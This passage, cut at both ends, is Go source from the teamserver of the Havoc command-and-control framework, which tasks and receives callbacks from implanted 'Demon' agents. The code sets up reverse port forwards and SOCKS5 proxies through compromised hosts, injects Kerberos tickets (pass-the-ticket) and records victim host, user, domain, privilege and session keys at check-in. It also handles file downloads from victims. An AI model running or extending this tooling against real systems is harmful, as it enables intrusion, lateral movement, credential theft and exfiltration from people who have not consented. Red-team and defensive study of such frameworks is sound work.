{ return nil, err } job.Data = []interface{}{ 0x3, FileID, } break } break case COMMAND_SOCKET: var ( SubCommand string Param string ) if val, ok := Optional["Command"]; ok { SubCommand = val.(string) } else { return job, errors.New("socket field Command is empty") } if val, ok := Optional["Params"]; ok { Param = val.(string) } else { return job, errors.New("socket field param is empty") } switch SubCommand { case "rportfwd add": var ( Params []string LclAddr = 0 LclPort = 0 FwdAddr = 0 FwdPort = 0 ) /* LclAddr; LclPort; FwdAddr; FwdPort */ Params = strings.Split(Param, ";") if len(Param) < 4 { return nil, fmt.Errorf("rportfwd requires 4 arguments, received %d", len(Params)) } /* Parse local host & port arguments */ LclAddr, err = common.IpStringToInt32(Params[0]) if err != nil { return nil, err } LclPort, err = strconv.Atoi(Params[1]) if err != nil { return nil, err } /* Parse forward host & port arguments */ FwdAddr, err = common.IpStringToInt32(Params[2]) if err != nil { return nil, err } FwdPort, err = strconv.Atoi(Params[3]) if err != nil { return nil, err } job.Data = []interface{}{ SOCKET_COMMAND_RPORTFWD_ADD, LclAddr, LclPort, FwdAddr, FwdPort, } break case "rportfwd list": job.Data = []interface{}{ SOCKET_COMMAND_RPORTFWD_LIST, } break case "rportfwd remove": var SocketID int64 SocketID, err = strconv.ParseInt(Param, 16, 32) if err != nil { return nil, err } job.Data = []interface{}{ SOCKET_COMMAND_RPORTFWD_REMOVE, int(SocketID), } break case "rportfwd clear": job.Data = []interface{}{ SOCKET_COMMAND_RPORTFWD_CLEAR, } break case "socks add": if Param == "" { return nil, fmt.Errorf("socks add requires a port") } var Socks *socks.Socks var PortNum int PortNum, err = strconv.Atoi(Param) if err != nil || PortNum < 1 || PortNum > 65535 { return nil, errors.New("invalid socks5 port") } var found = false a.SocksSvrMtx.Lock() for i := range a.SocksSvr { if a.SocksSvr[i].Addr == Param { /* socks proxy already exists! */ found = true break } } a.SocksSvrMtx.Unlock() if found { return nil, errors.New("a socks5 proxy on that port already exists") } Socks = socks.NewSocks("0.0.0.0:" + Param) if Socks == nil { return nil, errors.New("failed to create a new socks5 instance") } Socks.SetHandler(func(s *socks.Socks, conn net.Conn) { var ( ConnectJob Job NegotiationHeader socks.NegotiationHeader SocksHeader socks.SocksHeader err error SocketId int32 ) // parse all the methods supported by the client NegotiationHeader, err = socks.SubNegotiationClient(conn) if err != nil { logger.Error("Failed to read socks negotiation header: " + err.Error()) return } // we only support NOAUTH, there is no real need to support other types HasNoAuth := false for _, Method := range NegotiationHeader.Methods { if Method == socks.NoAuth { HasNoAuth = true break } } // is NOAUTH is not an option, then bail out if HasNoAuth == false { _, err = conn.Write([]byte{socks.Version, socks.NoMatch}) if err != nil { logger.Error("Failed to send response to socks client: " + err.Error()) } return } // tell the client that we support NOAUTH _, err = conn.Write([]byte{socks.Version, socks.NoAuth}) if err != nil { logger.Error("Failed to send response to socks client: " + err.Error()) return } SocksHeader, err = socks.ReadSocksHeader(conn) if err != nil { logger.Error("Failed to read socks header: " + err.Error()) return } /* check if it's a CONNECT command */ if SocksHeader.Command != socks.ConnectCommand { err = socks.SendCommandNotSupported(conn) if err != nil { logger.Error("Failed to send response to socks client: " + err.Error()) return } return } // NOTE: if you don't want to support IPv6, uncomment this: /* if SocksHeader.ATYP == socks.IPv6 { err = socks.SendAddressTypeNotSupported(conn) if err != nil { logger.Error("Failed to send response to socks client: " + err.Error()) return } return } */ /* generate some random socket id */ SocketId = int32(rand.Uint32()) s.Clients = append(s.Clients, SocketId) a.SocksClientAdd(SocketId, conn, SocksHeader.ATYP, SocksHeader.IpDomain, SocksHeader.Port) /* now parse the host:port and send it to the agent. */ ConnectJob = Job{ Command: COMMAND_SOCKET, Data: []any{ SOCKET_COMMAND_CONNECT, SocketId, SocksHeader.ATYP, SocksHeader.IpDomain, SocksHeader.Port, }, } a.AddJobToQueue(ConnectJob) /* goroutine to read from socks proxy socket and send it to the agent */ go func(SocketId int) { for { /* check if the connection is still up */ if client := a.SocksClientGet(SocketId); client != nil { if !client.Connected { /* if we are still not connected then skip */ continue } if Data, err := a.SocksClientRead(client); err == nil { /* only send the data if there is something... */ if len(Data) > 0 { /* make a new job */ var job = Job{ Command: COMMAND_SOCKET, Data: []any{ SOCKET_COMMAND_WRITE, client.SocketID, Data, }, } /* append the job to the task queue */ a.AddJobToQueue(job) } } else { if err != io.EOF { /* we failed to read from the socks proxy */ logger.Error(fmt.Sprintf("Failed to read from socket %08x: %v", SocketId, err)) a.SocksClientClose(int32(SocketId)) /* make a new job */ var job = Job{ Command: COMMAND_SOCKET, Data: []any{ SOCKET_COMMAND_CLOSE, int32(SocketId), }, } /* append the job to the task queue */ a.AddJobToQueue(job) } break } } else { /* seems like it has been removed. let's exit this routine */ break } } }(int(SocketId)) }) /* TODO: append the socket to a list/array now */ a.SocksSvrMtx.Lock() a.SocksSvr = append(a.SocksSvr, &SocksServer{ Server: Socks, Addr: Param, }) a.SocksSvrMtx.Unlock() go func() { err := Socks.Start() if err != nil { Socks.Failed = true if Message != nil { *Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Failed to start socks proxy: %v", err), "Output": "", } } return } }() if Message != nil { if !Socks.Failed { var( msg string ) if a.Info.SleepDelay == 0 && a.Info.SleepJitter == 0 { msg = fmt.Sprintf("Started socks5 server on port %v", Param) } else { msg = fmt.Sprintf("Started socks5 server on port %v. Consider running: sleep 0", Param) } *Message = map[string]string{ "Type": "Good", "Message": msg, "Output": "", } } } return nil, nil case "socks list": var Output string Output += fmt.Sprintf("\n") Output += fmt.Sprintf(" Port \n") Output += fmt.Sprintf(" ---- \n") a.SocksSvrMtx.Lock() for _, server := range a.SocksSvr { Output += fmt.Sprintf(" %s \n", server.Addr) } a.SocksSvrMtx.Unlock() if Message != nil { *Message = map[string]string{ "Type": "Info", "Message": "Socks proxy server: ", "Output": Output, } } return nil, nil case "socks kill": /* TODO: send a queue of tasks to kill every socks proxy client that uses this proxy */ var found = false a.SocksSvrMtx.Lock() for i := range a.SocksSvr { if a.SocksSvr[i].Addr == Param { /* alright we found it */ found = true /* close the server */ a.SocksSvr[i].Server.Close() /* close every connection that the agent has with this socks proxy */ for client := range a.SocksSvr[i].Server.Clients { /* close the client connection */ a.SocksClientClose(a.SocksSvr[i].Server.Clients[client]) /* make a new job */ var job = Job{ Command: COMMAND_SOCKET, Data: []any{ SOCKET_COMMAND_CLOSE, a.SocksSvr[i].Server.Clients[client], }, } /* append the job to the task queue */ a.AddJobToQueue(job) } /* remove the socks server from the array */ a.SocksSvr = append(a.SocksSvr[:i], a.SocksSvr[i+1:]...) break } } a.SocksSvrMtx.Unlock() if found { if Message != nil { *Message = map[string]string{ "Type": "Info", "Message": "Closed socks proxy " + Param, } } } else { if Message != nil { *Message = map[string]string{ "Type": "Info", "Message": "Failed to find and close socks proxy " + Param, } } } return nil, nil case "socks clear": /* TODO: send a queue of tasks to kill every socks proxy client that uses this proxy */ a.SocksSvrMtx.Lock() for i := range a.SocksSvr { /* close the server */ a.SocksSvr[i].Server.Close() /* close every connection that the agent has with this socks proxy */ for client := range a.SocksSvr[i].Server.Clients { /* close the client connection */ a.SocksClientClose(a.SocksSvr[i].Server.Clients[client]) /* make a new job */ var job = Job{ Command: COMMAND_SOCKET, Data: []any{ SOCKET_COMMAND_CLOSE, a.SocksSvr[i].Server.Clients[client], }, } /* append the job to the task queue */ a.AddJobToQueue(job) } /* remove the socks server from the array */ a.SocksSvr = append(a.SocksSvr[:i], a.SocksSvr[i+1:]...) } a.SocksSvrMtx.Unlock() if Message != nil { *Message = map[string]string{ "Type": "Info", "Message": "Successfully closed all socks proxies " + Param, } } return nil, nil } break case COMMAND_KERBEROS: var ( SubCommand string ) if val, ok := Optional["Command"]; ok { SubCommand = val.(string) } else { return job, errors.New("kerberos field Command is empty") } switch SubCommand { case "luid": job.Data = []interface{}{ KERBEROS_COMMAND_LUID, } break case "klist": var ( luid int64 arg1 string arg2 string ) if val, ok := Optional["Argument1"]; ok { arg1 = val.(string) } else { return job, errors.New("klist field Argument1 is empty") } if arg1 == "/all" { job.Data = []interface{}{ KERBEROS_COMMAND_KLIST, 0, } } else if arg1 == "/luid" { if val, ok := Optional["Argument2"]; ok { arg2 = val.(string) if strings.HasPrefix(arg2, "0x") { luid, err = strconv.ParseInt(arg2[2:], 16, 64) } else { luid, err = strconv.ParseInt(arg2, 16, 64) } if err != nil { return job, errors.New("Invalid Luid value: " + arg2) } } else { return job, errors.New("klist field Argument2 is empty") } job.Data = []interface{}{ KERBEROS_COMMAND_KLIST, 1, int(luid), } } break case "purge": var ( luid int64 arg1 string ) if val, ok := Optional["Argument"]; ok { arg1 = val.(string) } else { return job, errors.New("purge field Argument is empty") } if strings.HasPrefix(arg1, "0x") { luid, err = strconv.ParseInt(arg1[2:], 16, 64) } else { luid, err = strconv.ParseInt(arg1, 16, 64) } if err != nil { return job, errors.New("Invalid Luid value: " + arg1) } job.Data = []interface{}{ KERBEROS_COMMAND_PURGE, int(luid), } break case "ptt": var ( luid int64 arg string ticket []byte ) ticket, err = base64.StdEncoding.DecodeString(Optional["Ticket"].(string)) if err != nil { return job, errors.New("ptt field Ticket is invalid") } if val, ok := Optional["Luid"]; ok { arg = val.(string) } else { return job, errors.New("ptt field Luid is empty") } if strings.HasPrefix(arg, "0x") { luid, err = strconv.ParseInt(arg[2:], 16, 64) } else { luid, err = strconv.ParseInt(arg, 16, 64) } if err != nil { return job, errors.New("Invalid Luid value: " + arg) } job.Data = []interface{}{ KERBEROS_COMMAND_PTT, ticket, int(luid), } break default: } break default: return job, errors.New(fmt.Sprint("Command not found", Command)) } return job, nil } func (a *Agent) TaskDispatch(RequestID uint32, CommandID uint32, Parser *parser.Parser, teamserver TeamServer) { var NameID, _ = strconv.ParseInt(a.NameID, 16, 64) AgentID := int(NameID) /* if the RequestID was not generated by the TS, reject the request */ if a.IsKnownRequestID(teamserver, RequestID, CommandID) == false { logger.Warn(fmt.Sprintf("Agent: %x, CommandID: %d, unknown RequestID: %x. This is either a bug or malicious activity", AgentID, CommandID, RequestID)) return } switch CommandID { case COMMAND_GET_JOB: /* this is most likely never going to reach. but just in case... */ logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_GET_JOB ??", AgentID)) break case COMMAND_EXIT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( ExitMethod = Parser.ParseInt32() Message = make(map[string]string) ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_EXIT, ExitMethod: %d", AgentID, ExitMethod)) if ExitMethod == 1 { Message["Type"] = "Good" Message["Message"] = "Agent has been tasked to cleanup and exit thread. cya..." } else if ExitMethod == 2 { Message["Type"] = "Good" Message["Message"] = "Agent has been tasked to cleanup and exit process. cya..." } teamserver.Died(a) a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_EXIT, Invalid packet", AgentID)) } case COMMAND_KILL_DATE: var ( Message = make(map[string]string) ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KILL_DATE", AgentID)) Message["Type"] = "Good" Message["Message"] = "Agent has been reached its kill date, tasked to cleanup and exit thread. cya..." teamserver.Died(a) a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) case COMMAND_CHECKIN: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CHECKIN", AgentID)) var Message = make(map[string]string) Message["Type"] = "Info" Message["Message"] = "Received checkin request" if Parser.Length() >= 32+16 { var ( DemonID int Hostname string DomainName string Username string InternalIP string ProcessName string ProcessPID int ProcessTID int OsVersion []int OsArch int Elevated int BaseAddress int64 ProcessArch int ProcessPPID int SleepDelay int SleepJitter int KillDate int64 WorkingHours int32 ) a.Encryption.AESKey = Parser.ParseAtLeastBytes(32) a.Encryption.AESIv = Parser.ParseAtLeastBytes(16) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt64, parser.ReadInt32}) { DemonID = Parser.ParseInt32() Hostname = Parser.ParseString() Username = Parser.ParseString() DomainName = Parser.ParseString() InternalIP = Parser.ParseString() ProcessName = Parser.ParseUTF16String() ProcessPID = Parser.ParseInt32() ProcessTID = Parser.ParseInt32() ProcessPPID = Parser.ParseInt32() ProcessArch = Parser.ParseInt32() Elevated = Parser.ParseInt32() BaseAddress = Parser.ParseInt64() OsVersion = []int{Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32()} OsArch = Parser.ParseInt32() SleepDelay = Parser.ParseInt32() SleepJitter = Parser.ParseInt32() KillDate = Parser.ParseInt64() WorkingHours = int32(Parser.ParseInt32()) a.Active = true a.NameID = fmt.Sprintf("%08x", DemonID) a.Info.FirstCallIn = a.Info.FirstCallIn a.Info.LastCallIn = a.Info.LastCallIn a.Info.Hostname = Hostname a.Info.DomainName = DomainName a.Info.Username = Username a.Info.InternalIP = InternalIP a.Info.SleepDelay = SleepDelay a.Info.SleepJitter = SleepJitter a.Info.KillDate = KillDate a.Info.WorkingHours = WorkingHours // a.Info.ExternalIP = strings.Split(connection.RemoteAddr().String(), ":")[0] // a.Info.Listener = t.Name switch ProcessArch { case PROCESS_ARCH_UNKNOWN: a.Info.ProcessArch = "Unknown" break case PROCESS_ARCH_X64: a.Info.ProcessArch = "x64" break case PROCESS_ARCH_X86: a.Info.ProcessArch = "x86" break case PROCESS_ARCH_IA64: a.Info.ProcessArch = "IA64" break default: a.Info.ProcessArch = "Unknown" break } a.Info.OSVersion = getWindowsVersionString(OsVersion) switch OsArch { case 0: a.Info.OSArch = "x86" case 9: a.Info.OSArch = "x64/AMD64" case 5: a.Info.OSArch = "ARM" case 12: a.Info.OSArch = "ARM64" case 6: a.Info.OSArch = "Itanium-based" default: a.Info.OSArch = "Unknown (" + strconv.Itoa(OsArch) + ")" } a.Info.Elevated = "false" if Elevated == 1 { a.Info.Elevated = "true" } process := strings.Split(ProcessName, "\\") a.Info.ProcessName = process[len(process)-1] a.Info.ProcessPID = ProcessPID a.Info.ProcessTID = ProcessTID a.Info.ProcessPPID = ProcessPPID a.Info.ProcessPath = ProcessName a.Info.BaseAddress = BaseAddress a.SessionDir = logr.LogrInstance.AgentPath + "/" + a.NameID Message["Output"] = fmt.Sprintf( "\n"+ "Teamserver:\n"+ " - Session Path : %v\n"+ "\n"+ "Meta Data:\n"+ " - Agent ID : %v\n"+ " - Magic Value : %x\n"+ " - First Call In : %v\n"+ " - Last Call In : %v\n"+ " - AES Key : %v\n"+ " - AES IV : %v\n"+ " - Sleep Delay : %v\n"+ " - Sleep Jitter : %v\n"+ "\n"+ "Host Info:\n"+ " - Host Name : %v\n"+ " - User Name : %v\n"+ " - Domain Name : %v\n"+ " - Internal IP : %v\n"+ "\n"+ "Process Info:\n"+ " - Process Name : %v\n"+ " - Process Arch : %v\n"+ " - Process ID : %v\n"+ " - Thread ID : %v\n"+ //" - Process Parent ID : %v\n" + " - Process Path : %v\n"+ " - Process Elevated : %v\n"+ " - Base Address : 0x%x\n"+ "\n"+ "Operating System:\n"+ " - Version : %v\n"+ " - Build : %v.%v.%v.%v.%v\n"+ " - Arch : %v\n"+ "", // Teamserver a.SessionDir, // Meta Data a.NameID, a.Info.MagicValue, a.Info.FirstCallIn, a.Info.LastCallIn, hex.EncodeToString(a.Encryption.AESKey), hex.EncodeToString(a.Encryption.AESIv), a.Info.SleepDelay, a.Info.SleepJitter, // Host info a.Info.Hostname, a.Info.Username, a.Info.DomainName, a.Info.InternalIP, // Process Info a.Info.ProcessName, a.Info.ProcessArch, a.Info.ProcessPID, a.Info.ProcessTID, //a.Info.ProcessPPID, a.Info.ProcessPath, a.Info.Elevated, a.Info.BaseAddress, // Operating System Info a.Info.OSVersion, OsVersion[0], OsVersion[1], OsVersion[2], OsVersion[3], OsVersion[4], a.Info.OSArch, // TODO: add Optional data too ) teamserver.AgentUpdate(a) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CHECKIN, Invalid packet", AgentID)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CHECKIN, Invalid packet", AgentID)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) break case DEMON_INFO: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( InfoID = int(Parser.ParseInt32()) Output = make(map[string]string) ) Output["Type"] = "Info" switch InfoID { case DEMON_INFO_MEM_ALLOC: if Parser.CanIRead([]parser.ReadType{parser.ReadPointer, parser.ReadInt32, parser.ReadInt32}) { var ( MemPointer = Parser.ParsePointer() MemSize = Parser.ParseInt32() ProtectionId = Parser.ParseInt32() Protection string ) logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_ALLOC, MemPointer: %x, MemSize: %x, ProtectionId: %d", AgentID, MemPointer, MemSize, ProtectionId)) if s, ok := win32.Protections[int(ProtectionId)]; ok { Protection = s[1] } else { Protection = "UNKNOWN" } Output["Message"] = fmt.Sprintf("Memory Allocated : Pointer:[0x%x] Size:[%d] Protection:[%v]", MemPointer, MemSize, Protection) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_ALLOC, Invalid packet", AgentID)) } break case DEMON_INFO_MEM_EXEC: if Parser.CanIRead([]parser.ReadType{parser.ReadPointer, parser.ReadInt32}) { var ( MemFunction = Parser.ParsePointer() ThreadId = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_EXEC, MemFunction: %x, ThreadId: %d", AgentID, MemFunction, ThreadId)) Output["Message"] = fmt.Sprintf("Memory Executed : Function:[0x%x] ThreadId:[%d]", MemFunction, ThreadId) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_EXEC, Invalid packet", AgentID)) } break case DEMON_INFO_MEM_PROTECT: if Parser.CanIRead([]parser.ReadType{parser.ReadPointer, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( Memory = Parser.ParsePointer() MemorySize = Parser.ParseInt32() OldProtection = Parser.ParseInt32() Protection = Parser.ParseInt32() ProcString string ) logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_PROTECT, Memory: %x, MemorySize: %x, OldProtection: %d, Protection: %d", AgentID, Memory, MemorySize, OldProtection, Protection)) if s, ok := win32.Protections[OldProtection]; ok { ProcString = s[1] + " -> " } else { ProcString = "UNKNOWN" + " -> " } if s, ok := win32.Protections[Protection]; ok { ProcString += s[1] } else { ProcString += "UNKNOWN" } Output["Message"] = fmt.Sprintf("Memory Protection: Memory:[0x%x] Size:[%d] Protection[%v]", Memory, MemorySize, ProcString) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_PROTECT, Invalid packet", AgentID)) } break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - UNKNOWN (%d)", AgentID, InfoID)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) a.RequestCompleted(RequestID) break } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO, invalid packet", AgentID)) } case COMMAND_SLEEP: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var Output = make(map[string]string) a.Info.SleepDelay = Parser.ParseInt32() a.Info.SleepJitter = Parser.ParseInt32() teamserver.AgentUpdate(a) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SLEEP, SleepDelay: %d, SleepJitter: %d", AgentID, a.Info.SleepDelay, a.Info.SleepJitter)) Output["Type"] = "Good" Output["Message"] = fmt.Sprintf("Set sleep interval to %v seconds with %v%% jitter", a.Info.SleepDelay, a.Info.SleepJitter) a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SLEEP, Invalid packet", AgentID)) } break case COMMAND_JOB: var Message = make(map[string]string) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var SubCommand = Parser.ParseInt32() switch SubCommand { case DEMON_COMMAND_JOB_LIST: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_LIST", AgentID)) var Output string Output += fmt.Sprintf(" %-6s %-13s %-5s\n", "Job ID", "Type", "State") Output += fmt.Sprintf(" %-6s %-13s %-5s\n", "------", "----", "-----") for Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( JobID int Type int State int StringType string StringState string ) JobID = Parser.ParseInt32() Type = Parser.ParseInt32() State = Parser.ParseInt32() if Type == 0x1 { StringType = "Thread" } else if Type == 0x2 { StringType = "Process" } else if Type == 0x3 { StringType = "Track Process" } else { StringType = "Unknown" } if State == 0x1 { StringState = "Running" } else if State == 0x2 { StringState = "Suspended" } else if State == 0x3 { StringState = "Dead" } else { StringState = "Unknown" } Output += fmt.Sprintf(" %-6v %-13s %-5s\n", JobID, StringType, StringState) } Message["Type"] = "Info" Message["Message"] = "Job list:" Message["Output"] = "\n" + Output break case DEMON_COMMAND_JOB_SUSPEND: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( JobID = Parser.ParseInt32() Success = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_SUSPEND, JobID: %v, Success: %d", AgentID, JobID, Success)) if Success == win32.TRUE { Message["Type"] = "Good" Message["Message"] = fmt.Sprintf("Successful suspended job %v", JobID) } else { Message["Type"] = "Error" Message["Message"] = fmt.Sprintf("Failed to suspended job %v", JobID) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_SUSPEND, Invalid packet", AgentID)) } break case DEMON_COMMAND_JOB_RESUME: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( JobID = Parser.ParseInt32() Success = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_RESUME, JobID: %v, Success: %d", AgentID, JobID, Success)) if Success == win32.TRUE { Message["Type"] = "Good" Message["Message"] = fmt.Sprintf("Successful resumed job %v", JobID) } else { Message["Type"] = "Error" Message["Message"] = fmt.Sprintf("Failed to resumed job %v", JobID) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_RESUME, Invalid packet", AgentID)) } break case DEMON_COMMAND_JOB_KILL_REMOVE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( JobID = Parser.ParseInt32() Success = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_KILL_REMOVE, JobID: %v, Success: %d", AgentID, JobID, Success)) if Success == win32.TRUE { Message["Type"] = "Good" Message["Message"] = fmt.Sprintf("Successful killed and removed job %v", JobID) } else { Message["Type"] = "Error" Message["Message"] = fmt.Sprintf("Failed to kill job %v", JobID) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_KILL_REMOVE, Invalid packet", AgentID)) } break case DEMON_COMMAND_JOB_DIED: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_DIED", AgentID)) // this message is sent by the agent when a created process dies a.RequestCompleted(RequestID) break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - UNKNOWN (%d)", AgentID, SubCommand)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) a.RequestCompleted(RequestID) break } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB, Invalid packet", AgentID)) } case COMMAND_FS: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( SubCommand = Parser.ParseInt32() Output = make(map[string]string) ) switch SubCommand { case DEMON_COMMAND_FS_DIR: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DIR", AgentID)) if Parser.CanIRead([]parser.ReadType{parser.ReadBool, parser.ReadBool, parser.ReadBytes, parser.ReadBool}) { var ( Explorer = Parser.ParseBool() ListOnly = Parser.ParseBool() StartPath = Parser.ParseUTF16String() Success = Parser.ParseBool() ReadOne = false Dir string DirMap = make(map[string]any) DirArr []map[string]string WhatToRead []parser.ReadType ) if ! Success { Output["Type"] = "Error" Output["Message"] = "Failed to enumerate files/folders at specified path: " + StartPath } else { IsFirst := true if ListOnly { WhatToRead = []parser.ReadType{parser.ReadBytes} } else { WhatToRead = []parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt64} } for Parser.CanIRead(WhatToRead) { var ( RootDirPath = Parser.ParseUTF16String() NumFiles = Parser.ParseInt32() NumDirs = Parser.ParseInt32() TotalFileSize int64 = 0 ItemsLeft = NumFiles + NumDirs ) if !ListOnly { TotalFileSize = Parser.ParseInt64() } if !ListOnly && !Explorer && NumFiles + NumDirs > 0 { if IsFirst { IsFirst = false Dir += fmt.Sprintf(" Directory of %s:\n\n", RootDirPath) } else { Dir += fmt.Sprintf("\n\n Directory of %s:\n\n", RootDirPath) } } for (ItemsLeft > 0 && ((ListOnly && Parser.CanIRead([]parser.ReadType{parser.ReadBytes})) || (!ListOnly && Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBool, parser.ReadInt64, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32})))) { var ( FileName = Parser.ParseUTF16String() IsDir = false FileSize int64 = 0 LastAccessDay = 0 LastAccessMonth = 0 LastAccessYear = 0 LastAccessMinute = 0 LastAccessHour = 0 Size string Type string LastModified string DirText string ) if !ListOnly { IsDir = Parser.ParseBool() FileSize = Parser.ParseInt64() LastAccessDay = Parser.ParseInt32() LastAccessMonth = Parser.ParseInt32() LastAccessYear = Parser.ParseInt32() LastAccessMinute = Parser.ParseInt32() LastAccessHour = Parser.ParseInt32() } ReadOne = true if ListOnly { Dir += fmt.Sprintf("%s%s\n", RootDirPath[:len(RootDirPath)-1], FileName) } else { LastModified = fmt.Sprintf("%02d/%02d/%d %02d:%02d", LastAccessDay, LastAccessMonth, LastAccessYear, LastAccessHour, LastAccessMinute) if IsDir { Type = "dir" DirText = "" Size = "" } else { DirText = "" Size = common.ByteCountSI(int64(FileSize)) } if Explorer { DirArr = append(DirArr, map[string]string{ "Type": Type, "Size": Size, "Modified": LastModified, "Name": FileName, }) } else { Dir += fmt.Sprintf("%-17s %-5s %-12s %-8s\n", LastModified, DirText, Size, FileName) } } ItemsLeft -= 1 } if NumFiles + NumDirs > 0 && !Explorer && !ListOnly { Dir += fmt.Sprintf(" %d File(s) %s\n", NumFiles, common.ByteCountSI(TotalFileSize)) Dir += fmt.Sprintf(" %d Folder(s)", NumDirs) } if Explorer { DirMap["Path"] = []byte(RootDirPath) DirMap["Files"] = DirArr DirJson, err := json.Marshal(DirMap) if err != nil { logger.Debug("[Error] " + err.Error()) } else { Output["MiscType"] = "FileExplorer" Output["MiscData"] = base64.StdEncoding.EncodeToString(DirJson) } } } if !Explorer { if ReadOne == false { Output["Type"] = "Info" Output["Output"] = "No file or folder was found" } else { Output["Type"] = "Info" Output["Output"] = Dir } } } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DIR, Invalid packet", AgentID)) } break case DEMON_COMMAND_FS_DOWNLOAD: /* * Download Header: * [ Mode ] Open ( 0 ), Write ( 1 ) or Close ( 2 ) * [ File ID ] Download File ID * * Data (Open): * [ File Size ] * [ File Name ] * * Data (Write) * [ Chunk Data ] Size + FileChunk * * Data (Close): * [ File Name ] * [ Reason ] Removed or Finished * */ if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( Mode = Parser.ParseInt32() FileID = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Mode: %d, FileID: %x", AgentID, Mode, FileID)) switch Mode { /* File Open */ case 0x0: logger.Debug(fmt.Sprintf("Download open FileID:[%x]", FileID)) if Parser.CanIRead([]parser.ReadType{parser.ReadInt64, parser.ReadBytes}) { var ( FileSize = Parser.ParseInt64() FileName = Parser.ParseUTF16String() Size = common.ByteCountSI(FileSize) ) Output["Type"] = "Info" Output["Message"] = fmt.Sprintf("Started download of file: %v [%v]", FileName, Size) if err := a.DownloadAdd(FileID, FileName, FileSize); err != nil { Output["Type"] = "Error" Output["Message"] = err.Error() } else { Output["MiscType"] = "download" Output["MiscData2"] = base64.StdEncoding.EncodeToString([]byte(FileName)) + ";" + Size } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Invalid packet", AgentID)) } break case 0x1: logger.Debug(fmt.Sprintf("Download write FileID:[%v]", FileID)) if 